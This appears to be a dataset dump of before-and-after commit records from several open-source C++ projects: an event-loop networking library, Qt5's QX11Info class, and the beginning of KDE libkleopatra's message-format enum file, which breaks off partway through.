timers_.find(timerid);\n if (p != timers_.end()) {\n timers_.erase(p);\n return true;\n }\n return false;\n }\n}\n\nvoid MultiBase::loop() {\n int sz = bases_.size();\n vector<thread> ths(sz -1);\n for(int i = 0; i < sz -1; i++) {\n thread t([this, i]{ bases_[i].loop();});\n ths[i].swap(t);\n }\n bases_.back().loop();\n for (int i = 0; i < sz -1; i++) {\n ths[i].join();\n }\n}\n\nChannel::Channel(EventBase* base, int fd, int events): base_(base), fd_(fd), events_(events) {\n fatalif(net::setNonBlock(fd_) < 0, \"channel set non block failed\");\n static atomic<int64_t> id(0);\n id_ = ++id;\n poller_ = base_->imp_->poller_;\n poller_->addChannel(this);\n}\n\nChannel::~Channel() {\n close();\n}\n\nvoid Channel::enableRead(bool enable) {\n if (enable) {\n events_ |= kReadEvent;\n } else {\n events_ &= ~kReadEvent;\n }\n poller_->updateChannel(this);\n}\n\nvoid Channel::enableWrite(bool enable) {\n if (enable) {\n events_ |= kWriteEvent;\n } else {\n events_ &= ~kWriteEvent;\n }\n poller_->updateChannel(this);\n}\n\nvoid Channel::enableReadWrite(bool readable, bool writable) {\n if (readable) {\n events_ |= kReadEvent;\n } else {\n events_ &= ~kReadEvent;\n }\n if (writable) {\n events_ |= kWriteEvent;\n } else {\n events_ &= ~kWriteEvent;\n }\n poller_->updateChannel(this);\n}\n\nvoid Channel::close() {\n if (fd_>=0) {\n trace(\"close channel %ld fd %d\", (long)id_, fd_);\n poller_->removeChannel(this);\n ::close(fd_);\n fd_ = -1;\n handleRead();\n }\n}\n\nbool Channel::readEnabled() { return events_ & kReadEvent; }\nbool Channel::writeEnabled() { return events_ & kWriteEvent; }\n\nvoid handyUnregisterIdle(EventBase* base, const IdleId& idle) {\n base->imp_->unregisterIdle(idle);\n}\n\nvoid handyUpdateIdle(EventBase* base, const IdleId& idle) {\n base->imp_->updateIdle(idle);\n}\n\nTcpConn::TcpConn()\n:base_(NULL), channel_(NULL), state_(State::Invalid), destPort_(-1), connectTimeout_(0), reconnectInterval_(-1)\n{\n}\n\nTcpConn::~TcpConn() {\n trace(\"tcp destroyed %s - %s\", local_.toString().c_str(), peer_.toString().c_str());\n delete channel_;\n}\n\nvoid TcpConn::addIdleCB(int idle, const TcpCallBack& cb) {\n if (channel_) {\n idleIds_.push_back(getBase()->imp_->registerIdle(idle, shared_from_this(), cb));\n }\n}\n\nvoid TcpConn::reconnect() {\n auto con = shared_from_this();\n getBase()->imp_->reconnectConns_.insert(con);\n getBase()->runAfter(reconnectInterval_, [this, con]() {\n getBase()->imp_->reconnectConns_.erase(con);\n connect(getBase(), destHost_, (short)destPort_, connectTimeout_, localIp_);\n });\n delete channel_;\n channel_ = NULL;\n}\n\n}<commit_msg>move clean operation from exit to loop, keep exit async call ok<commit_after>#include \"event_base.h\"\n#include \"logging.h\"\n#include \"util.h\"\n#include <map>\n#include <string.h>\n#include <fcntl.h>\n#include \"poller.h\"\n#include \"conn.h\"\nusing namespace std;\n\nnamespace handy {\n\nnamespace {\n\nstruct TimerRepeatable {\n int64_t at; \/\/current timer timeout timestamp\n int64_t interval;\n TimerId timerid;\n Task cb;\n};\n\nstruct IdleNode {\n TcpConnPtr con_;\n int64_t updated_;\n TcpCallBack cb_;\n};\n\n}\n\nstruct IdleIdImp {\n IdleIdImp() {}\n typedef list<IdleNode>::iterator Iter;\n IdleIdImp(list<IdleNode>* lst, Iter iter): lst_(lst), iter_(iter){}\n list<IdleNode>* lst_;\n Iter iter_;\n};\n\nstruct EventsImp {\n EventBase* base_;\n PollerBase* poller_;\n std::atomic<bool> exit_;\n int wakeupFds_[2];\n int nextTimeout_;\n SafeQueue<Task> tasks_;\n \n std::map<TimerId, TimerRepeatable> timerReps_;\n std::map<TimerId, Task> timers_;\n std::atomic<int64_t> timerSeq_;\n std::map<int, std::list<IdleNode>> idleConns_;\n std::set<TcpConnPtr> reconnectConns_;\n bool idleEnabled;\n\n EventsImp(EventBase* base, int taskCap);\n ~EventsImp();\n void init();\n void callIdles();\n IdleId registerIdle(int idle, const TcpConnPtr& con, const TcpCallBack& cb);\n void unregisterIdle(const IdleId& id);\n void updateIdle(const IdleId& id);\n void handleTimeouts();\n void refreshNearest(const TimerId* tid=NULL);\n void repeatableTimeout(TimerRepeatable* tr);\n\n \/\/eventbase functions\n EventBase& exit() {exit_ = true; wakeup(); return *base_;}\n bool exited() { return exit_; }\n void safeCall(Task&& task) { tasks_.push(move(task)); wakeup(); }\n void loop();\n void loop_once(int waitMs) { poller_->loop_once(std::min(waitMs, nextTimeout_)); handleTimeouts(); }\n void wakeup() {\n int r = write(wakeupFds_[1], \"\", 1);\n fatalif(r<=0, \"write error wd %d %d %s\", r, errno, strerror(errno));\n }\n\n bool cancel(TimerId timerid);\n TimerId runAt(int64_t milli, Task&& task, int64_t interval);\n};\n\nEventBase::EventBase(int taskCapacity) {\n imp_.reset(new EventsImp(this, taskCapacity));\n imp_->init();\n}\n\nEventBase::~EventBase() {}\n\nEventBase& EventBase::exit() { return imp_->exit(); }\n\nbool EventBase::exited() { return imp_->exited(); }\n\nvoid EventBase::safeCall(Task&& task) { imp_->safeCall(move(task)); }\n\nvoid EventBase::wakeup(){ imp_->wakeup(); }\n\nvoid EventBase::loop() { imp_->loop(); }\n\nvoid EventBase::loop_once(int waitMs) { imp_->loop_once(waitMs); }\n\nbool EventBase::cancel(TimerId timerid) { return imp_->cancel(timerid); }\n\nTimerId EventBase::runAt(int64_t milli, Task&& task, int64_t interval) {\n return imp_->runAt(milli, std::move(task), interval); \n}\n\nEventsImp::EventsImp(EventBase* base, int taskCap):\n base_(base), poller_(new PlatformPoller()), exit_(false), nextTimeout_(1<<30), tasks_(taskCap),\n timerSeq_(0), idleEnabled(false)\n{\n}\n\nvoid EventsImp::loop() {\n while (!exit_)\n loop_once(10000);\n timerReps_.clear();\n timers_.clear();\n idleConns_.clear();\n for (auto recon: reconnectConns_) { \/\/重连的连接无法通过channel清理,因此单独清理\n recon->cleanup(recon);\n }\n loop_once(0);\n}\n\nvoid EventsImp::init() {\n int r = pipe(wakeupFds_);\n fatalif(r, \"pipe failed %d %s\", errno, strerror(errno));\n r = util::addFdFlag(wakeupFds_[0], FD_CLOEXEC);\n fatalif(r, \"addFdFlag failed %d %s\", errno, strerror(errno));\n r = util::addFdFlag(wakeupFds_[1], FD_CLOEXEC);\n fatalif(r, \"addFdFlag failed %d %s\", errno, strerror(errno));\n trace(\"wakeup pipe created %d %d\", wakeupFds_[0], wakeupFds_[1]);\n Channel* ch = new Channel(base_, wakeupFds_[0], kReadEvent);\n ch->onRead([=] {\n char buf[1024];\n int r = ch->fd() >= 0 ? ::read(ch->fd(), buf, sizeof buf) : 0;\n if (r > 0) {\n Task task;\n while (tasks_.pop_wait(&task, 0)) {\n task();\n }\n } else if (r == 0) {\n delete ch;\n } else if (errno == EINTR) {\n } else {\n fatal(\"wakeup channel read error %d %d %s\", r, errno, strerror(errno));\n }\n });\n}\n\nvoid EventsImp::handleTimeouts() {\n int64_t now = util::timeMilli();\n TimerId tid { now, 1L<<62 };\n while (timers_.size() && timers_.begin()->first < tid) {\n Task task = move(timers_.begin()->second);\n timers_.erase(timers_.begin());\n task();\n }\n refreshNearest();\n}\n\nEventsImp::~EventsImp() {\n delete poller_;\n ::close(wakeupFds_[1]);\n}\n\nvoid EventsImp::callIdles() {\n int64_t now = util::timeMilli() \/ 1000;\n for (auto& l: idleConns_) {\n int idle = l.first;\n auto lst = l.second;\n while(lst.size()) {\n IdleNode& node = lst.front();\n if (node.updated_ + idle > now) {\n break;\n }\n node.updated_ = now;\n lst.splice(lst.end(), lst, lst.begin());\n node.cb_(node.con_);\n }\n }\n}\n\nIdleId EventsImp::registerIdle(int idle, const TcpConnPtr& con, const TcpCallBack& cb) {\n if (!idleEnabled) {\n base_->runAfter(1000, [this] { callIdles(); }, 1000);\n idleEnabled = true;\n }\n auto& lst = idleConns_[idle];\n lst.push_back(IdleNode {con, util::timeMilli()\/1000, move(cb) });\n trace(\"register idle\");\n return IdleId(new IdleIdImp(&lst, --lst.end()));\n}\n\nvoid EventsImp::unregisterIdle(const IdleId& id) {\n trace(\"unregister idle\");\n id->lst_->erase(id->iter_);\n}\n\nvoid EventsImp::updateIdle(const IdleId& id) {\n trace(\"update idle\");\n id->iter_->updated_ = util::timeMilli() \/ 1000;\n id->lst_->splice(id->lst_->end(), *id->lst_, id->iter_);\n}\n\nvoid EventsImp::refreshNearest(const TimerId* tid){\n if (timers_.empty()) {\n nextTimeout_ = 1 << 30;\n } else {\n const TimerId &t = timers_.begin()->first;\n nextTimeout_ = t.first - util::timeMilli();\n nextTimeout_ = nextTimeout_ < 0 ? 0 : nextTimeout_;\n }\n}\n\nvoid EventsImp::repeatableTimeout(TimerRepeatable* tr) {\n tr->at += tr->interval;\n tr->timerid = { tr->at, ++timerSeq_ };\n timers_[tr->timerid] = [this, tr] { repeatableTimeout(tr); };\n refreshNearest(&tr->timerid);\n tr->cb();\n}\n\nTimerId EventsImp::runAt(int64_t milli, Task&& task, int64_t interval) {\n if (exit_) {\n return TimerId();\n }\n if (interval) {\n TimerId tid { -milli, ++timerSeq_};\n TimerRepeatable& rtr = timerReps_[tid];\n rtr = { milli, interval, { milli, ++timerSeq_ }, move(task) };\n TimerRepeatable* tr = &rtr;\n timers_[tr->timerid] = [this, tr] { repeatableTimeout(tr); };\n refreshNearest(&tr->timerid);\n return tid;\n } else {\n TimerId tid { milli, ++timerSeq_};\n timers_.insert({tid, move(task)});\n refreshNearest(&tid);\n return tid;\n }\n}\n\nbool EventsImp::cancel(TimerId timerid) {\n if (timerid.first < 0) {\n auto p = timerReps_.find(timerid);\n auto ptimer = timers_.find(p->second.timerid);\n if (ptimer != timers_.end()) {\n timers_.erase(ptimer);\n }\n timerReps_.erase(p);\n return true;\n } else {\n auto p = timers_.find(timerid);\n if (p != timers_.end()) {\n timers_.erase(p);\n return true;\n }\n return false;\n }\n}\n\nvoid MultiBase::loop() {\n int sz = bases_.size();\n vector<thread> ths(sz -1);\n for(int i = 0; i < sz -1; i++) {\n thread t([this, i]{ bases_[i].loop();});\n ths[i].swap(t);\n }\n bases_.back().loop();\n for (int i = 0; i < sz -1; i++) {\n ths[i].join();\n }\n}\n\nChannel::Channel(EventBase* base, int fd, int events): base_(base), fd_(fd), events_(events) {\n fatalif(net::setNonBlock(fd_) < 0, \"channel set non block failed\");\n static atomic<int64_t> id(0);\n id_ = ++id;\n poller_ = base_->imp_->poller_;\n poller_->addChannel(this);\n}\n\nChannel::~Channel() {\n close();\n}\n\nvoid Channel::enableRead(bool enable) {\n if (enable) {\n events_ |= kReadEvent;\n } else {\n events_ &= ~kReadEvent;\n }\n poller_->updateChannel(this);\n}\n\nvoid Channel::enableWrite(bool enable) {\n if (enable) {\n events_ |= kWriteEvent;\n } else {\n events_ &= ~kWriteEvent;\n }\n poller_->updateChannel(this);\n}\n\nvoid Channel::enableReadWrite(bool readable, bool writable) {\n if (readable) {\n events_ |= kReadEvent;\n } else {\n events_ &= ~kReadEvent;\n }\n if (writable) {\n events_ |= kWriteEvent;\n } else {\n events_ &= ~kWriteEvent;\n }\n poller_->updateChannel(this);\n}\n\nvoid Channel::close() {\n if (fd_>=0) {\n trace(\"close channel %ld fd %d\", (long)id_, fd_);\n poller_->removeChannel(this);\n ::close(fd_);\n fd_ = -1;\n handleRead();\n }\n}\n\nbool Channel::readEnabled() { return events_ & kReadEvent; }\nbool Channel::writeEnabled() { return events_ & kWriteEvent; }\n\nvoid handyUnregisterIdle(EventBase* base, const IdleId& idle) {\n base->imp_->unregisterIdle(idle);\n}\n\nvoid handyUpdateIdle(EventBase* base, const IdleId& idle) {\n base->imp_->updateIdle(idle);\n}\n\nTcpConn::TcpConn()\n:base_(NULL), channel_(NULL), state_(State::Invalid), destPort_(-1), connectTimeout_(0), reconnectInterval_(-1)\n{\n}\n\nTcpConn::~TcpConn() {\n trace(\"tcp destroyed %s - %s\", local_.toString().c_str(), peer_.toString().c_str());\n delete channel_;\n}\n\nvoid TcpConn::addIdleCB(int idle, const TcpCallBack& cb) {\n if (channel_) {\n idleIds_.push_back(getBase()->imp_->registerIdle(idle, shared_from_this(), cb));\n }\n}\n\nvoid TcpConn::reconnect() {\n auto con = shared_from_this();\n getBase()->imp_->reconnectConns_.insert(con);\n getBase()->runAfter(reconnectInterval_, [this, con]() {\n getBase()->imp_->reconnectConns_.erase(con);\n connect(getBase(), destHost_, (short)destPort_, connectTimeout_, localIp_);\n });\n delete channel_;\n channel_ = NULL;\n}\n\n}<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2012 Digia Plc and\/or its subsidiary(-ies).\n** Copyright (C) 2012 Richard Moore <rich@kde.org>\n** Copyright (C) 2012 David Faure <david.faure@kdab.com>\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of the QtGui module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n\/\/\n\/\/ An implementation of QX11Info for Qt5. This code only provides the\n\/\/ static methods of the QX11Info, not the methods for getting information\n\/\/ about particular widgets or pixmaps.\n\/\/\n\n#include \"qx11info_x11.h\"\n\n#include <qpa\/qplatformnativeinterface.h>\n#include <qpa\/qplatformwindow.h>\n#include <qscreen.h>\n#include <qdesktopwidget.h>\n#include <qwindow.h>\n#include <qapplication.h>\n#include <xcb\/xcb.h>\n\nQT_BEGIN_NAMESPACE\n\n\n\/*!\n \\class QX11Info\n \\brief The QX11Info class provides information about the X display\n configuration.\n\n The class provides two APIs: a set of non-static functions that\n provide information about a specific widget or pixmap, and a set\n of static functions that provide the default information for the\n application.\n\n \\warning This class is only available on X11. For querying\n per-screen information in a portable way, use QDesktopWidget.\n*\/\n\n\/*!\n Constructs an empty QX11Info object.\n*\/\nQX11Info::QX11Info()\n{\n}\n\n\/*!\n Returns the horizontal resolution of the given \\a screen in terms of the\n number of dots per inch.\n\n The \\a screen argument is an X screen number. Be aware that if\n the user's system uses Xinerama (as opposed to traditional X11\n multiscreen), there is only one X screen. Use QDesktopWidget to\n query for information about Xinerama screens.\n\n \\sa setAppDpiX(), appDpiY()\n*\/\nint QX11Info::appDpiX(int screen)\n{\n if (screen == -1) {\n const QScreen *scr = QGuiApplication::primaryScreen();\n if (!scr)\n return 75;\n return qRound(scr->logicalDotsPerInchX());\n }\n\n QList<QScreen *> screens = QGuiApplication::screens();\n if (screen >= screens.size())\n return 0;\n\n return screens[screen]->logicalDotsPerInchX();\n}\n\n\/*!\n Returns the vertical resolution of the given \\a screen in terms of the\n number of dots per inch.\n\n The \\a screen argument is an X screen number. Be aware that if\n the user's system uses Xinerama (as opposed to traditional X11\n multiscreen), there is only one X screen. Use QDesktopWidget to\n query for information about Xinerama screens.\n\n \\sa setAppDpiY(), appDpiX()\n*\/\nint QX11Info::appDpiY(int screen)\n{\n if (screen == -1) {\n const QScreen *scr = QGuiApplication::primaryScreen();\n if (!scr)\n return 75;\n return qRound(scr->logicalDotsPerInchY());\n }\n\n QList<QScreen *> screens = QGuiApplication::screens();\n if (screen > screens.size())\n return 0;\n\n return screens[screen]->logicalDotsPerInchY();\n}\n\n\/*!\n Returns a handle for the applications root window on the given \\a screen.\n\n The \\a screen argument is an X screen number. Be aware that if\n the user's system uses Xinerama (as opposed to traditional X11\n multiscreen), there is only one X screen. Use QDesktopWidget to\n query for information about Xinerama screens.\n\n \\sa QApplication::desktop()\n*\/\nQt::HANDLE QX11Info::appRootWindow(int screen)\n{\n if (!qApp)\n return 0;\n#if 0\n \/\/ This looks like it should work, but gives the wrong value.\n QDesktopWidget *desktop = QApplication::desktop();\n QWidget *screenWidget = desktop->screen(screen);\n QWindow *window = screenWidget->windowHandle();\n#else\n Q_UNUSED(screen);\n\n QDesktopWidget *desktop = QApplication::desktop();\n QWindow *window = desktop->windowHandle();\n#endif\n return Qt::HANDLE(window->winId());\n}\n\n\/*!\n Returns the number of the screen where the application is being\n displayed.\n\n \\sa display(), screen()\n*\/\nint QX11Info::appScreen()\n{\n if (!qApp)\n return 0;\n QDesktopWidget *desktop = QApplication::desktop();\n return desktop->primaryScreen();\n}\n\n\/*!\n Returns the X11 time.\n\n \\sa setAppTime(), appUserTime()\n*\/\nunsigned long QX11Info::appTime()\n{\n if (!qApp)\n return 0;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n return static_cast<xcb_timestamp_t>(reinterpret_cast<quintptr>(native->nativeResourceForIntegration(\"apptime\")));\n}\n\n\/*!\n Returns the X11 user time.\n\n \\sa setAppUserTime(), appTime()\n*\/\nunsigned long QX11Info::appUserTime()\n{\n if (!qApp)\n return 0;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n return static_cast<xcb_timestamp_t>(reinterpret_cast<quintptr>(native->nativeResourceForIntegration(\"appusertime\")));\n}\n\n\/*!\n Sets the X11 time to the value specified by \\a time.\n\n \\sa appTime(), setAppUserTime()\n*\/\nvoid QX11Info::setAppTime(unsigned long time)\n{\n if (!qApp)\n return;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n typedef void (*SetAppTimeFunc)(xcb_timestamp_t);\n SetAppTimeFunc func = reinterpret_cast<SetAppTimeFunc>(native->nativeResourceFunctionForIntegration(\"setapptime\"));\n if (func)\n func(time);\n else\n qWarning(\"Internal error: QPA plugin doesn't implement setAppTime\");\n}\n\n\/*!\n Sets the X11 user time as specified by \\a time.\n\n \\sa appUserTime(), setAppTime()\n*\/\nvoid QX11Info::setAppUserTime(unsigned long time)\n{\n if (!qApp)\n return;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n typedef void (*SetAppUserTimeFunc)(xcb_timestamp_t);\n SetAppUserTimeFunc func = reinterpret_cast<SetAppUserTimeFunc>(native->nativeResourceFunctionForIntegration(\"setappusertime\"));\n if (func)\n func(time);\n else\n qWarning(\"Internal error: QPA plugin doesn't implement setAppUserTime\");\n}\n\n\/*!\n Returns the default display for the application.\n\n \\sa appScreen()\n*\/\nDisplay *QX11Info::display()\n{\n if (!qApp)\n return NULL;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n\n void *display = native->nativeResourceForScreen(QByteArray(\"display\"), QGuiApplication::primaryScreen());\n return reinterpret_cast<Display *>(display);\n}\n\n\/*!\n Returns the default XCB connection for the application.\n\n \\sa display()\n*\/\nxcb_connection_t *QX11Info::connection()\n{\n if (!qApp)\n return NULL;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n\n void *connection = native->nativeResourceForWindow(QByteArray(\"connection\"), 0);\n return reinterpret_cast<xcb_connection_t *>(connection);\n}\n\nQT_END_NAMESPACE\n<commit_msg>Port to the version of the appTime\/appUserTime that got merged in.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2012 Digia Plc and\/or its subsidiary(-ies).\n** Copyright (C) 2012 Richard Moore <rich@kde.org>\n** Copyright (C) 2012 David Faure <david.faure@kdab.com>\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of the QtGui module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia. For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing. For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights. These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n\/\/\n\/\/ An implementation of QX11Info for Qt5. This code only provides the\n\/\/ static methods of the QX11Info, not the methods for getting information\n\/\/ about particular widgets or pixmaps.\n\/\/\n\n#include \"qx11info_x11.h\"\n\n#include <qpa\/qplatformnativeinterface.h>\n#include <qpa\/qplatformwindow.h>\n#include <qscreen.h>\n#include <qdesktopwidget.h>\n#include <qwindow.h>\n#include <qapplication.h>\n#include <xcb\/xcb.h>\n\nQT_BEGIN_NAMESPACE\n\n\n\/*!\n \\class QX11Info\n \\brief The QX11Info class provides information about the X display\n configuration.\n\n The class provides two APIs: a set of non-static functions that\n provide information about a specific widget or pixmap, and a set\n of static functions that provide the default information for the\n application.\n\n \\warning This class is only available on X11. For querying\n per-screen information in a portable way, use QDesktopWidget.\n*\/\n\n\/*!\n Constructs an empty QX11Info object.\n*\/\nQX11Info::QX11Info()\n{\n}\n\n\/*!\n Returns the horizontal resolution of the given \\a screen in terms of the\n number of dots per inch.\n\n The \\a screen argument is an X screen number. Be aware that if\n the user's system uses Xinerama (as opposed to traditional X11\n multiscreen), there is only one X screen. Use QDesktopWidget to\n query for information about Xinerama screens.\n\n \\sa setAppDpiX(), appDpiY()\n*\/\nint QX11Info::appDpiX(int screen)\n{\n if (screen == -1) {\n const QScreen *scr = QGuiApplication::primaryScreen();\n if (!scr)\n return 75;\n return qRound(scr->logicalDotsPerInchX());\n }\n\n QList<QScreen *> screens = QGuiApplication::screens();\n if (screen >= screens.size())\n return 0;\n\n return screens[screen]->logicalDotsPerInchX();\n}\n\n\/*!\n Returns the vertical resolution of the given \\a screen in terms of the\n number of dots per inch.\n\n The \\a screen argument is an X screen number. Be aware that if\n the user's system uses Xinerama (as opposed to traditional X11\n multiscreen), there is only one X screen. Use QDesktopWidget to\n query for information about Xinerama screens.\n\n \\sa setAppDpiY(), appDpiX()\n*\/\nint QX11Info::appDpiY(int screen)\n{\n if (screen == -1) {\n const QScreen *scr = QGuiApplication::primaryScreen();\n if (!scr)\n return 75;\n return qRound(scr->logicalDotsPerInchY());\n }\n\n QList<QScreen *> screens = QGuiApplication::screens();\n if (screen > screens.size())\n return 0;\n\n return screens[screen]->logicalDotsPerInchY();\n}\n\n\/*!\n Returns a handle for the applications root window on the given \\a screen.\n\n The \\a screen argument is an X screen number. Be aware that if\n the user's system uses Xinerama (as opposed to traditional X11\n multiscreen), there is only one X screen. Use QDesktopWidget to\n query for information about Xinerama screens.\n\n \\sa QApplication::desktop()\n*\/\nQt::HANDLE QX11Info::appRootWindow(int screen)\n{\n if (!qApp)\n return 0;\n#if 0\n \/\/ This looks like it should work, but gives the wrong value.\n QDesktopWidget *desktop = QApplication::desktop();\n QWidget *screenWidget = desktop->screen(screen);\n QWindow *window = screenWidget->windowHandle();\n#else\n Q_UNUSED(screen);\n\n QDesktopWidget *desktop = QApplication::desktop();\n QWindow *window = desktop->windowHandle();\n#endif\n return Qt::HANDLE(window->winId());\n}\n\n\/*!\n Returns the number of the screen where the application is being\n displayed.\n\n \\sa display(), screen()\n*\/\nint QX11Info::appScreen()\n{\n if (!qApp)\n return 0;\n QDesktopWidget *desktop = QApplication::desktop();\n return desktop->primaryScreen();\n}\n\n\/*!\n Returns the X11 time.\n\n \\sa setAppTime(), appUserTime()\n*\/\nunsigned long QX11Info::appTime()\n{\n if (!qApp)\n return 0;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n QScreen* screen = QGuiApplication::primaryScreen();\n return static_cast<xcb_timestamp_t>(reinterpret_cast<quintptr>(native->nativeResourceForScreen(\"apptime\", screen)));\n}\n\n\/*!\n Returns the X11 user time.\n\n \\sa setAppUserTime(), appTime()\n*\/\nunsigned long QX11Info::appUserTime()\n{\n if (!qApp)\n return 0;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n QScreen* screen = QGuiApplication::primaryScreen();\n return static_cast<xcb_timestamp_t>(reinterpret_cast<quintptr>(native->nativeResourceForScreen(\"appusertime\", screen)));\n}\n\n\/*!\n Sets the X11 time to the value specified by \\a time.\n\n \\sa appTime(), setAppUserTime()\n*\/\nvoid QX11Info::setAppTime(unsigned long time)\n{\n if (!qApp)\n return;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n typedef void (*SetAppTimeFunc)(QScreen *, xcb_timestamp_t);\n QScreen* screen = QGuiApplication::primaryScreen();\n SetAppTimeFunc func = reinterpret_cast<SetAppTimeFunc>(native->nativeResourceFunctionForScreen(\"setapptime\"));\n if (func)\n func(screen, time);\n else\n qWarning(\"Internal error: QPA plugin doesn't implement setAppTime\");\n}\n\n\/*!\n Sets the X11 user time as specified by \\a time.\n\n \\sa appUserTime(), setAppTime()\n*\/\nvoid QX11Info::setAppUserTime(unsigned long time)\n{\n if (!qApp)\n return;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n typedef void (*SetAppUserTimeFunc)(QScreen *, xcb_timestamp_t);\n QScreen* screen = QGuiApplication::primaryScreen();\n SetAppUserTimeFunc func = reinterpret_cast<SetAppUserTimeFunc>(native->nativeResourceFunctionForScreen(\"setappusertime\"));\n if (func)\n func(screen, time);\n else\n qWarning(\"Internal error: QPA plugin doesn't implement setAppUserTime\");\n}\n\n\/*!\n Returns the default display for the application.\n\n \\sa appScreen()\n*\/\nDisplay *QX11Info::display()\n{\n if (!qApp)\n return NULL;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n\n void *display = native->nativeResourceForScreen(QByteArray(\"display\"), QGuiApplication::primaryScreen());\n return reinterpret_cast<Display *>(display);\n}\n\n\/*!\n Returns the default XCB connection for the application.\n\n \\sa display()\n*\/\nxcb_connection_t *QX11Info::connection()\n{\n if (!qApp)\n return NULL;\n QPlatformNativeInterface *native = qApp->platformNativeInterface();\n\n void *connection = native->nativeResourceForWindow(QByteArray(\"connection\"), 0);\n return reinterpret_cast<xcb_connection_t *>(connection);\n}\n\nQT_END_NAMESPACE\n<|endoftext|>"} {"text":"<commit_before>\/*\n kleo\/enum.cpp\n\n This file is part of libkleopatra, the KDE keymanagement library\n Copyright (c) 2004 Klarlvdalens Datakonsult AB\n\n Libkleopatra is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License as\n published by the Free Software Foundation; either version 2 of the\n License, or (at your option) any later version.\n\n Libkleopatra is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n In addition, as a special exception, the copyright holders give\n permission to link the code of this program with any edition of\n the Qt library by Trolltech AS, Norway (or with modified versions\n of Qt that use the same license as Qt), and distribute linked\n combinations including the two. You must obey the GNU General\n Public License in all respects for all of the code used other than\n Qt. If you modify this file, you may extend this exception to\n your version of the file, but you are not obligated to do so. If\n you do not wish to do so, delete this exception statement from\n your version.\n*\/\n\n#include \"enum.h\"\n\n#include <klocale.h>\n\n#include <qstring.h>\n#include <qstringlist.h>\n\nstatic const struct {\n Kleo::CryptoMessageFormat format;\n const char * displayName;\n const char * configName;\n} cryptoMessageFormats[] = {\n { Kleo::InlineOpenPGPFormat,\n I18N_NOOP(\"Inline OpenPGP (deprecated)\"),\n \"inline openpgp\" },\n { Kleo::OpenPGPMIMEFormat,\n I18N_NOOP(\"OpenPGP\/MIME\"),\n \"openpgp\/mime\" },\n { Kleo::SMIMEFormat,\n I18N_NOOP(\"S\/MIME\"),\n \"s\/mime\" },\n { Kleo::SMIMEOpaqueFormat,\n I18N_NOOP(\"S\/MIME Opaque\"),\n \"s\/mime opaque\" },\n};\nstatic const unsigned int numCryptoMessageFormats\n = sizeof cryptoMessageFormats \/ sizeof *cryptoMessageFormats ;\n\nconst char * Kleo::cryptoMessageFormatToString( Kleo::CryptoMessageFormat f ) {\n if ( f == AutoFormat )\n return \"auto\";\n for ( unsigned int i = 0 ; i < numCryptoMessageFormats ; ++i )\n if ( f == cryptoMessageFormats[i].format )\n return cryptoMessageFormats[i].configName;\n return 0;\n}\n\nQStringList Kleo::cryptoMessageFormatsToStringList( unsigned int f ) {\n 